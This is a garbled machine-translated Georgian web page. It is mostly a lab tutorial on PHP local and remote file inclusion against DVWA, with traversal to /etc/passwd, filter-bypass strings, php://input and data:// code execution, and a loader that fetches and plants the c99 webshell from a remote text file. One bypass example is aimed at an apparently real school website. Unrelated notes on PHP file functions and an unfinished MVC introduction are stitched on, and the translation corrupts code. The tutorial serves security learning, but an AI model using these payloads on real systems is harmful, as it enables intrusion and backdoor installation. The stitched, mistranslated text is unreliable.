php ფაილის გამოგონილი ნახვა. ფაილი - კითხულობს ფაილის შინაარსს და ათავსებს მას მასივში. სერვერზე ფაილებთან მუშაობა

ზოგჯერ ფაილის ინექციას უწოდებენ ინკლუზიას, ზოგჯერ მას განიხილება, როგორც PHP ინექციის ნაწილად (კოდის ინექცია). ეს უკანასკნელი მთლად სიმართლეს არ შეესაბამება, რადგან ფაილის ინექციის ხარვეზები აუცილებლად არ არის დაკავშირებული კოდის შესრულებასთან.

დაუცველობა შეიძლება წარმოიშვას (PHP-ში) გამონათქვამების გამოყენებისას, როგორიცაა:

  • მოითხოვს_ერთხელ,
  • მოიცავს_ერთხელ,
  • მოიცავს,
  • მოითხოვს

თითოეულ მათგანს აქვს მცირე ნიუანსი, მაგრამ საერთო არის ის, რომ პროგრამაში შედის ფაილი და ახორციელებს მას. ამ გამონათქვამებმა შეიძლება გამოიწვიოს პრობლემები, თუ ისინი გაივლიან მომხმარებლის შეყვანას და პროგრამა საკმარისად არ გაფილტრავს მას.

სხვათა შორის, დიახ, ეს არის გამონათქვამები და არა ფუნქციები. არ არის საჭირო ასე დაწერა:

Require ("somefile.php");

უფრო სასურველი ვარიანტია:

მოითხოვეთ "somefile.php";

მაგრამ ეს არის უკან დახევა, რომელსაც არაფერი აქვს საერთო დაუცველობასთან.

თუ ფაილები ჩართულია გამონათქვამების მოითხოვს_ერთჯერ, მოიცავს_ერთას, მოიცავს, მოითხოვს, მაშინ შეგვიძლია ვთქვათ, რომ კოდის ინექციაც ერთდროულად ხდება. თუმცა, შესაძლებელია ფაილების ჩართვა სერვერზე კოდის გარეშე. მაგალითად, ვებსაიტი იცვლის თავის გარეგნობას მომხმარებლის მიერ არჩეული თემის მიხედვით. თემების სახელი შეესაბამება სერვერზე წაკითხული HTML ფაილების სახელს. ამ სიტუაციაში, თუ მოთხოვნა ჩამოყალიბებულია ისე, რომ წაიკითხოს ფაილი, რომელიც არ არის განკუთვნილი ამისათვის (მაგალითად, PHP ფაილი), მაშინ ბრძანებების შესრულების ნაცვლად, გამოჩნდება PHP კოდი.

მომხმარებელს შეუძლია მიუთითოს დისტანციური ან ადგილობრივი ფაილი, როგორც ჩართვის ფაილი. ამის საფუძველზე გამოირჩევა ორი შესაბამისი ჯიში:

  • ადგილობრივი ფაილის ინექცია
  • დისტანციური ფაილის ინექცია

დისტანციური ჩართვის საშიშროება არის თვითნებური კოდის შესრულება დაუცველ სერვერზე. ეს ჩვეულებრივ გამოიყენება უკანა ინფექციების დროს.

ადგილობრივი ფაილის ინექციის საშიშროება არის ის, რომ მომხმარებელს შეუძლია აჩვენოს ფაილების შინაარსი, რომლის ნახვის უფლება არ აქვს (პროგრამის წყაროს კოდები, სისტემის ფაილები პარამეტრებით და პაროლებით). ასევე, ლოკალური ჩართვით, შესაძლებელია მესამე მხარის კოდის შესრულება (მაგალითად, უკანა კარის ინფექციისთვის), თუ ფაილი მავნე კოდით ადრე იყო ატვირთული სერვერზე, ან გამოყენებული იყო ჟურნალის მოწამვლის მეთოდი, ან სხვა მეთოდები.

ფაილების ლოკალური ჩართვა არანაკლებ საშიშია, ვიდრე დისტანციური ფაილების დანერგვა.

ლოკალური ფაილის ჩაშენების გამოყენება

თქვენ შეგიძლიათ სცადოთ თქვენი ძალა ამ დაუცველობაზე Damn Vulnerable Web Application-ში (DVWA). მე ვიყენებ Web Security Dojo-ს, სადაც DVWA უკვე დაინსტალირებულია.

დავიწყოთ დაბალი დონიდან (დაბალი DVWA უსაფრთხოება).

მოდით გადავიდეთ ფაილის ჩართვის გვერდზე http://localhost/dvwa/vulnerabilities/fi/?page=include.php

  • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

თუ ფაილის სახელის მსგავსი მნიშვნელობა (file1.php, file2.php) არგუმენტად გადაეცემა ცვლადს, მაშინ შეგვიძლია ვივარაუდოთ, რომ გამოიყენება მოიცავს. ვინაიდან ფაილის გაფართოება არის .php, ფაილი, სავარაუდოდ, შესრულებულია სერვერზე (ანუ კოდის ინექცია შესაძლებელია) და არა მხოლოდ ჩვენებისთვის.

DVWA-ს აქვს გვერდი http://localhost/dvwa/about.php, ის მდებარეობს ორ დონეზე ზემოთ, ვცადოთ მისი ნახვა ასე: http://localhost/dvwa/vulnerabilities/fi/?page=../. ./ შესახებ.php

დიახ, არსებობს ლოკალური ჩართვის დაუცველობა. შესვლისას, გადასვლები ზედა დირექტორიაში (../) არ არის გაფილტრული; ჩასართავად ფაილების სია არ არის ამომწურავი (შემოთავაზებული ფაილის*.php-ის ნაცვლად, ჩვენ ავირჩიეთ about.php).

ზოგჯერ გამოიყენება ჩართული ფაილები, მაგრამ მისამართები შეიძლება გამოიყურებოდეს, მაგალითად, ასე: http://localhost/dvwa/vulnerabilities/fi/?page=file1. ამ შემთხვევაში, სკრიპტს შეიძლება დაემატოს გაფართოება და სკრიპტში ჩაშენდეს ფაილი, რომლის სახელიც საბოლოოდ ჩამოყალიბებულია სკრიპტში. როგორც წესი, ამ ფორმით დაუცველობა ძნელი/შეუძლებელია გამოსაყენებლად.

ხშირად ადამიანებს მოსწონთ მსგავსი რამის მიცემა, როგორც ადგილობრივი ფაილის ჩართვის მაგალითზე:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

როგორც ვხედავთ, იმუშავა. მაგრამ რადგან ვებ ბრაუზერები უგულებელყოფენ /r/n-ს (ახალი ხაზების სიმბოლოებს), ჩვენ უნდა გავხსნათ კოდი, რათა ჩანაწერები წაკითხული იყოს:

სამწუხაროდ, /etc/passwd ფაილში პაროლები დიდი ხანია არ არის.

სერვერიდან შეგიძლიათ ამოიღოთ სხვადასხვა პარამეტრების ფაილები, SSL სერთიფიკატები, პრინციპში, ნებისმიერი ფაილი, რომელიც ღიაა ყველა მომხმარებლისთვის წასაკითხად ან რომლის წაკითხვის საკმარისი უფლება აქვს ვებ სერვერს:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

რაც შეეხება გაზიარებულ ჰოსტინგებს, ზოგჯერ შესაძლებელია სხვა ადამიანების საქაღალდეების დათვალიერება (ისევ, თუ მომხმარებლის უფლებები არასწორად არის კონფიგურირებული).

http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

ამოცანა ართულებს იმ ფაქტს, რომ ჩვენ უნდა ვიცოდეთ ფაილის გზა.

დისტანციური ფაილის ინექციის ოპერაცია

PHP არის ძალიან მოქნილი და დეველოპერებისთვის მოსახერხებელი პროგრამირების ენა. ფაილის ჩაშენების ბრძანებები და ზოგიერთი სხვა შესანიშნავად ამოიცნობს და ამუშავებს არა მხოლოდ ადგილობრივ ფაილებს, არამედ URL-ებსაც...

შევეცადოთ ფაილის სახელის ნაცვლად დავწეროთ საიტის URL https://site/:

http://localhost/dvwa/vulnerabilities/fi/?page=https://site/

ნახეთ რა საინტერესო გამოდის:

მოხდა შემდეგი: PHP თარჯიმანმა მიიღო ბრძანება ფაილის/საიტის https://site/ ჩართვის შესახებ. მან გახსნა/ჩამოტვირთა შესაბამისი მისამართი და გამოაგზავნა მიღებული კოდი PHP პროგრამის სახით შესასრულებლად. ვინაიდან PHP მხოლოდ ახორციელებს კოდს, რომელიც გარშემორტყმულია შესაბამისი ტეგებით (ამ შემთხვევაში, საერთოდ არ იყო კოდი) და გამოაქვს ყველაფერი დანარჩენი ისე, როგორც არის, მთელი ვებგვერდის გვერდი გამოდის როგორც არის.

რა თქმა უნდა, ეს დაუცველობა ჩვენთვის საინტერესოა არა იმიტომ, რომ ჩვენ შეგვიძლია სხვა საიტების ნახვა ერთი საიტის საშუალებით.

  • უკანა კარის წყაროს კოდის გენერირება/მოძიება
  • ჩვენ ვქმნით ფაილს, რომელიც სწორია PHP-ის თვალსაზრისით სერვერზე შესასრულებლად, რომელიც ინახავს backdoor-ის წყაროს კოდს PHP ფაილში.
  • შეინახეთ მიღებული კოდი TEXT ფაილში
  • ატვირთეთ ეს ტექსტური ფაილი კონტროლირებად სერვერზე
  • ჩვენ ვინახავთ ჩვენს უკანა კარს დაუცველ სერვერზე დისტანციური ფაილის ჩართვის გამოყენებით

    • მე ხაზგასმით აღვნიშნე სიტყვა "ტექსტი" იმ მიზეზით, რომ ჩვენს კონტროლს დაქვემდებარებული სერვერზე უნდა იყოს ტექსტური ფაილი, რომელიც არ უნდა იყოს შესრულებული ჩვენს სერვერზე. ჩვენს სერვერს მხოლოდ მისი შინაარსის ჩვენება სჭირდება.

    Backdoor-ის შესაქმნელად შეგიძლიათ გამოიყენოთ Weevely, PhpSploit, ან შეგიძლიათ მიიღოთ მზა გადაწყვეტილებები. ამჯერად გამოვიყენოთ მზა.

    $backdoor ცვლადს მივანიჭებ backdoor-ის წყაროს კოდს, რომელიც გადმოვწერ Github-დან. შემდეგ ვიყენებ file_put_contents ფუნქციას, რომ შევინახო მიღებული წყარო კოდი c99unlimited.php ფაილში.

    კოდი მე განვათავსე ტექსტურ ფაილში

    $backdoor = file_get_contents ("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); ექო "შესრულებულია!";

    ის ხელმისაწვდომია http://miloserdov.org/sec.txt

    ახლა, დისტანციური ჩათვლით, ჩვენ ვტვირთავთ უკანა კარს დაუცველ სერვერზე.

    http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

    მიაქციეთ ყურადღება გაკეთებულ წარწერას!, გამოსახულია დამწერლობით, ე.ი. ალბათ ყველაფერი გამოვიდა.

    ვინაიდან სკრიპტი, რომელიც შეიცავს ფაილებს, მდებარეობს http://localhost/dvwa/vulnerabilities/fi/ დირექტორიაში და ჩვენი ახალი ფაილი backdoor-ით უნდა ყოფილიყო შენახული სახელით c99unlimited.php, უკანა კარის სრული მისამართი მითითებულია. დაუცველი სერვერი უნდა იყოს: http: //localhost/dvwa/vulnerabilities/fi/c99unlimited.php

    ჩვენ ვამოწმებთ:

    მშვენიერია, ახლა ჩვენ გვაქვს ყველა ფუნქცია, რომელიც შეიძლება დასჭირდეს ვებ სერვერის ადმინისტრატორს... და მათ, ვისაც აქვს წვდომა მათ სერვერზე.

    გვერდის ავლით ფილტრაცია ფაილების ადგილობრივად ჩართვისას

    მოდით გადავიდეთ უსაფრთხოების საშუალო დონეზე (კონფიგურირებადია DVWA Security-ში).

    თუ გადავხედავთ საწყის კოდს (ღილაკი "საწყისის ნახვა"):

    შემდეგ დავინახავთ, რომ ../ სიმბოლოები ახლა გაფილტრულია. ეს ხელს შეგვიშლის გადავიდეთ დირექტორიაში უფრო მაღალ დირექტორიაში, რომელშიც მუშაობს დაუცველი სკრიპტი.

    იმათ. არაფერი იმუშავებს ასე:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

    მოდით ვიფიქროთ იმაზე, თუ როგორ მუშაობს ფილტრაცია ამ შემთხვევაში? ვთქვათ, სიტყვა "ცუდი" არის გაფილტრული, შემდეგ ხაზი მსგავსი

    კარგი ცუდი კარგი

    გაფილტვრის შემდეგ ასე გამოიყურება:

    კარგი კარგი

    და თუ ჩასვით ასეთი ხაზი

    ცუდი ცუდი xo

    შემდეგ გაფილტვრის შემდეგ ("ცუდი" მოიხსნება) გამოვა

    ცუდად

    ../-ში ისევ შუაში ჩავსვით თურმე ..././

    ვცადოთ ეს მისამართი http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / my.cnf

    იმუშავა!

    კიდევ ერთი გამოსავალი შეიძლება იყოს სიმბოლოების თექვსმეტობით დაშიფვრაში დაშიფვრა, ამ ხაზის მაგალითი:

    http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

    „../“ შეიძლება შეიცვალოს „%2E%2E%2f“-ით.

    ასევე გამოიყენება ორმაგი თექვსმეტობითი კოდირება, რომელშიც „../“ შეიცვალა „%252E%252E%252F“-ით.

    ფაილების ლოკალური ჩართვა სკრიპტში გაფართოების დამატებისას

    თუ კოდი ფაილების ჩათვლით ასე გამოიყურება:

    იმათ. თუ .php ან სხვა გაფართოება დაემატება მომხმარებლის ნებისმიერ შეყვანას, ეს არ იძლევა საშუალებას, რომ მოთხოვნა შეიქმნას ისე, რომ განხორციელდეს შეტევა.

    არსებობს რამდენიმე ტექნიკა, რომლებიც შექმნილია გაფართოების გასაუქმებლად, მაგრამ ისინი შეიძლება ჩაითვალოს მოძველებულად, რადგან ისინი მუშაობენ PHP 5.3-ზე და მაშინაც კი, არა ყველა ვერსიაზე. თუმცა, ვებ სერვერის ადმინისტრატორები კლინიკურად კონსერვატიულები არიან და ურჩევნიათ არ შეეხონ არაფერს, თუ ის მუშაობს. იმათ. არსებობს PHP-ის ძალიან უძველესი ვერსიით სერვერთან შეხვედრის შანსი და თქვენ უნდა იცოდეთ ეს ტექნიკა.

    ნულ ბაიტის %00 გამოყენება (null byte)

    ნულოვანი ბაიტი ემატება მოთხოვნის ბოლოს გაფართოების იგნორირებას:

    http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

    მეორე მეთოდს ჰქვია ბილიკების შეტევა. დასკვნა ის არის, რომ PHP წყვეტს 4096 ბაიტზე მეტ ბილიკებს. ამ შემთხვევაში, PHP სწორად ხსნის ფაილს, მაშინაც კი, თუ მისი სახელის ბოლოს არის ხაზები და წერტილები. თუ პარამეტრად გადასცემთ რაღაცას?param1=../../../../etc/passwd/./././././ (სადაც ./ მეორდება ათასობითჯერ), მაშინ ბოლო ფაილი გაფართოებასთან ერთად (რომელიც დაამატა სკრიპტმა, რის შედეგადაც ფაილის სახელი გახდა მოიცავს/../../../../etc/passwd/./././././ .php) გაუქმდება. და ფაილის სახელი მოიცავს/../../../../etc/passwd/./././././. და რადგან PHP არ არის დაბნეული ფაილის ბოლოს ./ ხაზებით, ის უბრალოდ უგულებელყოფს მათ, მთლიანობაში PHP გახსნის ფაილს ბილიკის გასწვრივ მოიცავს/../../../../etc/ passwd.

    ფაილის დისტანციური ინექციისთვის ფილტრაციის გვერდის ავლით

    როგორც უკვე ვნახეთ წყაროს კოდში, უსაფრთხოების საშუალო დონე ასევე ფილტრავს http:// და https://.

    ახლა http://localhost/dvwa/vulnerabilities/fi/?. ჩვენ გამოვიყენებთ ზუსტად იგივე ტექნიკას, როგორც ლოკალური ჩართვით ფილტრაციის გვერდის ავლით. გენერირებული მოთხოვნა:

    http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/

    და ასევე გაითვალისწინეთ, რომ ის არ არის გაფილტრული, მაგალითად ftp, ე.ი. ეს ვარიანტი იმუშავებს ყოველგვარი ხრიკების გარეშე:

    http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/

    PHP სკრიპტების წყაროს კოდის მიღება php://filter-დან ფაილების ჩართვისას

    ეს ხრიკი არ საჭიროებს დისტანციური ფაილის ჩართვას. გამოყენებული იქნება ერთგვარი მეტა შეფუთვა php://filter.

    ვთქვათ, რომ გვინდა ვიხილოთ ფაილის საწყისი კოდი file1.php, მაშინ ჩვენი სიტუაციისთვის მოთხოვნა ასე იქნება შედგენილი:

    http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

    ყურადღება მიაქციეთ ასოებისა და რიცხვების უაზრო სტრიქონს - ეს არის file1.php ფაილის საწყისი კოდი base64 კოდირებით. ვინაიდან ეს არის base64, ორობითი ფაილებიც მხარდაჭერილია.

    მოდით გავშიფროთ ფაილი:

    კოდის დისტანციური შესრულება php: // შეყვანით

    ეს არ ჰგავს ფაილის ჩაშენებას და ისევ არ მოითხოვს თქვენგან ფაილების ატვირთვას.

    დასახმარებლად გამოვიყენებ FireFox გაფართოებას, თქვენ ასევე შეგიძლიათ გამოიყენოთ იგი ან ნებისმიერი სხვა პროგრამა (მაგალითად, curl), რომელსაც შეუძლია მონაცემთა გადაცემა POST მეთოდით.

    php://input-ს აქვს წვდომა HTTP მოთხოვნის ნედლეულ ნაწილზე, რათა გაიგოთ რას აკეთებს include("php://input"), გახსენით გვერდი

    http://localhost/dvwa/vulnerabilities/fi/?page=php://input

    და მოთხოვნის ტექსტში გაგზავნეთ სწორი PHP კოდი (მაგალითად, POST მეთოდის გამოყენებით). ეს საშუალებას მოგცემთ შეასრულოთ დისტანციურ სერვერზე დაშვებული ნებისმიერი ფუნქცია!

    კოდის დისტანციური შესრულება მონაცემებით://

    გარდა ამისა, PHP მხარს უჭერს data:// URL სქემას. თქვენ შეგიძლიათ განათავსოთ კოდი პირდაპირ GET პარამეტრში! შემდეგი ტესტი არ საჭიროებს რაიმე სპეციალურ ინსტრუმენტებს, მხოლოდ ჩვეულებრივ ბრაუზერს შეტევის შესასრულებლად.

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,

    ზოგიერთმა ვებ აპლიკაციის ფეიერვალმა შეიძლება შეამჩნიოს საეჭვო სტრიქონი URL-ში და დაბლოკოს მავნე მოთხოვნა. მაგრამ არსებობს სტრიქონის დაშიფვრის გზა მინიმუმ base64 კოდირებით:

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

    შეასრულეთ თვითნებური ბრძანებები /proc/self/environ-დან

    /proc/self/environ არის პროცესის ცვლადის შენახვა. თუ Apache პროცესს აქვს საკმარისი უფლებები მასზე წვდომისთვის, მაშინ ვებ გვერდის გახსნისას, რომელიც შეიცავს მსგავსი URL-ით ჩართულს,

    www.website.com/view.php?page=../../../../../proc/self/environ

    გამოვა რაღაც მსგავსი

    DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=ტექსტი/html, აპლიკაცია/xml;q=0.9, აპლიკაცია/xhtml+xml, სურათი/png, სურათი/jpeg, სურათი/გიფ, სურათი/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 ვერსია/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET_phURI?QUEST_METHOD=GET_phURI? %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx.6x [ელფოსტა დაცულია] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

    ყურადღება მიაქციეთ HTTP_USER_AGENT. ამის ნაცვლად, შეგიძლიათ შეცვალოთ სწორი PHP კოდი, რომელიც შესრულდება დისტანციურ სერვერზე.

    ლოგების აკრეფა და ინექცია ფაილების ადგილობრივად ჩართვისას

    სამწუხაროდ, ეს მეთოდი აღარ მუშაობს Apache-ს ბოლო ვერსიებზე.

    მისი არსი მდგომარეობს იმაში, რომ თავდამსხმელის კოდი შეყვანილია ვებ სერვერის ჟურნალებში. ეს შეიძლება გაკეთდეს User-Agent-ის შეცვლით, ან უბრალოდ GET პარამეტრში გადაცემით.

    დისტანციური ფაილის სტატიკური ინექცია

    სტატიკის მაგალითი მოიცავს:

    თქვენ შეგიძლიათ გამოიყენოთ სტატიკური ჩართვა ძალიან ეგზოტიკურ სიტუაციებში. მავნე კოდის ინექციისთვის აუცილებელია განხორციელდეს კაცის შუაგულში შეტევა ორ სერვერს შორის: მათგან ერთი მასპინძლობს ვებ აპლიკაციას ჩათვლით, ხოლო მეორე მასპინძლობს ფაილს, რომელიც გამოიყენება ჩართვისთვის.

    PHP file_exists("test.txt")//არსებობს ფაილი? filesize("test.txt");//გაეცანით ფაილის ზომას //დაბრუნებულია დროის ანაბეჭდი: fileatime("test.txt");//ფაილის ბოლო წვდომის თარიღი //date("d M Y" , $atime); filemtime("test.txt");//ფაილის მოდიფიკაციის თარიღი //date("d M Y", $mtime); filectime("test.txt");//ფაილის შექმნის თარიღი (Windows) //date("d M Y", $ctime); ფაილები: ოპერაციული რეჟიმები PHP რესურსის დახურვა (სტრიქონის ფაილის სახელი, სტრიქონის რეჟიმი) // რესურსი - უბრუნებს მაჩვენებელს ფაილს წარმატების შემთხვევაში, ან FALSE-ს შეცდომის შემთხვევაში ოპერაციული რეჟიმის აღწერარ r+ ვ w+ ა a+ ბ
    ფაილის გახსნა მხოლოდ წასაკითხად;
    გახსენით ფაილი კითხვისა და წერისთვის;
    გახსენით ფაილი მხოლოდ ჩასაწერად. თუ ის არსებობს, მაშინ ფაილის მიმდინარე შინაარსი განადგურებულია. მიმდინარე პოზიცია დაყენებულია დასაწყისში;
    გახსენით ფაილი კითხვისა და წერისთვის. თუ ის არსებობს, მაშინ ფაილის მიმდინარე შინაარსი განადგურებულია. მიმდინარე პოზიცია დაყენებულია დასაწყისში;
    გახსენით ფაილი ჩასაწერად. მიმდინარე პოზიცია დაყენებულია ფაილის ბოლოს;
    გახსენით ფაილი კითხვისა და წერისთვის. მიმდინარე პოზიცია დაყენებულია ფაილის ბოლოს;
    დაამუშავეთ ბინარული ფაილი. ეს დროშა საჭიროა Windows-ზე ბინარულ ფაილებთან მუშაობისას.
    ფაილების გახსნა და დახურვა PHP-ში PHP $fi = fopen("test.html", "w+") ან die ("შეცდომა"); //მაგალითები $fi = fopen("http://www.you/test.html","r"); $fi = fopen ("http://ftp.you/test.html", "r"); //Close fclose($fi) ფაილების წაკითხვა PHP-ში PHP //ფაილის კითხვა fread(int fi, int length) $str = fread($fi, 5); // წაიკითხეთ პირველი 5 სიმბოლო echo $str; // ვინაიდან კურსორი გადავიდა $str = fread($fi, 12); // წაიკითხეთ შემდეგი 12 სიმბოლო echo $str; fgets(int fi[, int length]) // წაიკითხეთ სტრიქონი ფაილიდან fgetss(int fi, int სიგრძე [, დასაშვებია სტრიქონი]) // წაიკითხეთ სტრიქონი ფაილიდან და გააუქმეთ HTML ტეგები // string დასაშვებია - ტეგები, რომლებიც უნდა დარჩეს fgetc(int fi) //კითხულობს სიმბოლოს ფაილიდან

    თავდაპირველად, Write მოხდება ფაილის დასაწყისში, არსებული მონაცემების გადაწერით, ასეთის არსებობის შემთხვევაში. ამიტომ, თუ ფაილის ბოლომდე რაიმეს დაწერა გჭირდებათ, უნდა დააყენოთ კითხვის შესაბამისი რეჟიმი, მაგალითად, a+.

    კურსორის მანიპულირება PHP ფაილებში PHP int fseek(int fi, int offset [, int wherece]) //კურსორის დაყენება // int fi - ფაილის მაჩვენებელი //offset - გადასატანი სიმბოლოების რაოდენობა. //whence: //SEEK_SET - მოძრაობა იწყება ფაილის დასაწყისიდან; //SEEK_CUR - მოძრაობა იწყება მიმდინარე პოზიციიდან; //SEEK_END - მოძრაობა იწყება ფაილის ბოლოდან. fseek($fi, -10, SEEK_END); //წაიკითხეთ ბოლო 10 სიმბოლო $s = fread($fi, 10); $pos = ftell($fi); // გაარკვიეთ მიმდინარე პოზიციის გადახვევა ($f) // გადააყენეთ კურსორი bool feof($f) // ფაილის დასასრული პირდაპირ მუშაობა ფაილებთან (მონაცემებთან) PHP-ში PHP მასივის ფაილში (სტრიქონის ფაილის სახელი) // მიიღეთ შინაარსი ფაილის მასივის სახით // მონაცემების უშუალოდ მუშაობის კიდევ ერთი ვარიანტი file_get_contents(სტრიქონის ფაილის სახელი) //წაკითხვა (ვიღებთ მთელ ფაილს ერთ ხაზზე) //ფაილში ჩაწერა (თავდაპირველად გადაწერილი) file_put_contents(სტრიქონის ფაილის სახელი , შერეული მონაცემები[,int flag]); //FILE_APPEND // ფაილის ბოლომდე ჩაწერეთ: file_put_contents("test.txt", "data", FILE_APPEND); //თუ დაწერთ მასივს, $array = array("I", "live"); file_put_contents("test.txt",$array); //შემდეგ მივიღებთ "Ilive" ფაილების მართვა php PHP ასლიში (სტრიქონის წყარო, სტრიქონის დანიშნულება); // ფაილის გადარქმევის კოპირება (str oldname, str newname); // ფაილის გადარქმევა unlink(string filename); // ფაილის წაშლა ფაილების ატვირთვა PHP სერვერზე // PHP.ini პარამეტრები file_uploads (ჩართვა|გამორთვა) // ფაილების ატვირთვის დაშვება ან გამორთვა upload_tmp_dir // დროებითი საქაღალდე ატვირთული ფაილებისთვის. ნაგულისხმევად დროებითი საქაღალდე upload_max_filesize (ნაგულისხმევი = 2 Mb) // მაქს. ატვირთული ფაილის ზომა post_max_size // გაგზავნილი ფორმის მთლიანი ზომა (უნდა იყოს upload_max_filesize-ზე მეტი) //მარტივი HTML ატვირთვა ჩვენ ვმუშაობთ ფაილებთან PHP სერვერზე //მონაცემების მიღება $tmp = $_FILES["მომხმარებლის ფაილი"][" tmp_name"]; $name = $_FILES["მომხმარებლის ფაილი"]["სახელი"]; //ფაილის გადატანა move_uploaded_file($tmp, სახელი); გადაადგილების_ატვირთული_ფაილი ($tmp, "ატვირთვა/".სახელი); // ფაილის გადამისამართება ატვირთვის საქაღალდეში // მიმდინარე ფაილთან შედარებით // რა არის $_FILES მასივში $_FILES["userfile"]["name"] // ფაილის სახელი, მაგალითად, test.html $_FILES[ "userfile"][" tmp_name"] // ფაილის დროებითი სახელი (გზა) $_FILES["userfile"]["ზომა"] // ფაილის ზომა $_FILES["userfile"]["type"] // ფაილის ტიპი $ _FILES["მომხმარებლის ფაილი"] ["შეცდომა"] // 0 - შეცდომების გარეშე, რიცხვი - დიახ ბევრი ადამიანი იწყებს პროექტის წერას ერთი ამოცანის შესასრულებლად, რაც არ ნიშნავს, რომ ის შეიძლება გადაიზარდოს მრავალ მომხმარებლის მართვის სისტემაში, მაგალითად. , შინაარსი ან, ღმერთმა ქნას, წარმოება. და ყველაფერი მშვენიერი და მაგარი ჩანს, ყველაფერი მუშაობს, სანამ არ დაიწყებთ იმის გაგებას, რომ დაწერილი კოდი მთლიანად შედგება ხელჯოხებისა და მყარი კოდისგან. კოდი შერეულია განლაგებით, მოთხოვნებით და ხელჯოხებით, ზოგჯერ წაუკითხავიც კი. ჩნდება აქტუალური პრობლემა: ახალი ფუნქციების დამატებისას, ამ კოდს ძალიან დიდი ხნის განმავლობაში უნდა აურიოთ, დაიმახსოვროთ "რა ეწერა იქ?" და წყევლა წარსულში.

    თქვენ შეიძლება გსმენიათ დიზაინის ნიმუშების შესახებ და გაეცანით ამ შესანიშნავ წიგნებს:

    • E. Gamma, R. Helm, R. Johnson, J. Vlissides „ობიექტზე ორიენტირებული დიზაინის ტექნიკა. დიზაინის ნიმუშები";
    • M. Fowler "საწარმოთა პროგრამული აპლიკაციების არქიტექტურა."
    და ბევრი, უზარმაზარი სახელმძღვანელოებისა და დოკუმენტაციისგან შეშინებული, ცდილობდა რომელიმე თანამედროვე ჩარჩოს შესწავლას და გაგების სირთულის წინაშე (ერთმანეთთან ჭკვიანურად დაკავშირებული მრავალი არქიტექტურული კონცეფციის არსებობის გამო), გადადო შესწავლა და გამოყენება. თანამედროვე იარაღები "უკანა ცეცხლზე".

    ეს სტატია სასარგებლო იქნება პირველ რიგში დამწყებთათვის. ნებისმიერ შემთხვევაში, ვიმედოვნებ, რომ რამდენიმე საათში თქვენ შეძლებთ მიიღოთ იდეა MVC შაბლონის განხორციელების შესახებ, რომელიც საფუძვლად უდევს ყველა თანამედროვე ვებ ჩარჩოს და ასევე მიიღოთ „საკვები“ შემდგომი ასახვისთვის „როგორ გააკეთე." სტატიის ბოლოს არის სასარგებლო ბმულების შერჩევა, რომელიც ასევე დაგეხმარებათ გაიგოთ, თუ რისგან შედგება ვებ ჩარჩოები (გარდა MVC) და როგორ მუშაობს ისინი.

    გამოცდილ PHP პროგრამისტებს ნაკლებად სავარაუდოა, რომ ამ სტატიაში საკუთარი თავისთვის რაიმე ახალი იპოვონ, მაგრამ მათი კომენტარები და კომენტარები მთავარ ტექსტზე ძალიან სასარგებლო იქნება! იმიტომ რომ თეორიის გარეშე პრაქტიკა შეუძლებელია, პრაქტიკის გარეშე კი თეორია უსარგებლოა, მერე ჯერ ცოტა თეორია იქნება და მერე გადავალთ პრაქტიკაზე. თუ უკვე იცნობთ MVC კონცეფციას, შეგიძლიათ გამოტოვოთ თეორიის განყოფილება და გადახვიდეთ პირდაპირ პრაქტიკაზე.

    1. თეორია MVC ნიმუში აღწერს აპლიკაციის სტრუქტურირების მარტივ გზას, რომლის მიზანია ბიზნეს ლოგიკის გამოყოფა მომხმარებლის ინტერფეისიდან. შედეგად, აპლიკაცია უფრო ადვილია მასშტაბირება, ტესტირება, შენარჩუნება და, რა თქმა უნდა, დანერგვა.

    მოდით შევხედოთ MVC ნიმუშის კონცეპტუალურ დიაგრამას (ჩემი აზრით, ეს არის ყველაზე წარმატებული დიაგრამა, რაც მინახავს):

    MVC არქიტექტურაში მოდელი უზრუნველყოფს მონაცემებს და ბიზნეს ლოგიკის წესებს, ხედი პასუხისმგებელია მომხმარებლის ინტერფეისზე, ხოლო კონტროლერი უზრუნველყოფს მოდელსა და ხედს შორის ურთიერთქმედებას.

    MVC განაცხადის ტიპიური ნაკადი შეიძლება აღწერილი იყოს შემდეგნაირად:

  • როდესაც მომხმარებელი სტუმრობს ვებ რესურსს, ინიციალიზაციის სკრიპტი ქმნის აპლიკაციის მაგალითს და იწყებს მას შესასრულებლად.
    ეს აჩვენებს, ვთქვათ, საიტის მთავარი გვერდის ხედს.
